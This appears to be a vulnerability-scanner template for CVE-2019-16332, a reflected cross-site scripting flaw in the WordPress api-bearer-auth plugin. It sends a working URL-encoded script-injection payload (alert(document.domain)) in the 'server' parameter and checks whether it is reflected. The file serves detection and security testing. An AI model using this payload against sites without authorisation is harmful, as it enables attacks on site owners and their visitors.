id: CVE-2019-16332

info:
  name: API Bearer Auth <= 20181229 - Reflected Cross-Site Scripting (XSS)
  author: daffainfo
  severity: medium
  description: In the api-bearer-auth plugin before 20190907 for WordPress, the server parameter is not correctly filtered in the swagger-config.yaml.php file, and it is possible to inject JavaScript code, aka XSS.
  reference:
    - https://plugins.trac.wordpress.org/changeset/2152730
    - https://wordpress.org/plugins/api-bearer-auth/#developers
  tags: cve,cve2019,wordpress,xss,wp-plugin,auth
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2019-16332
    cwe-id: CWE-79

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200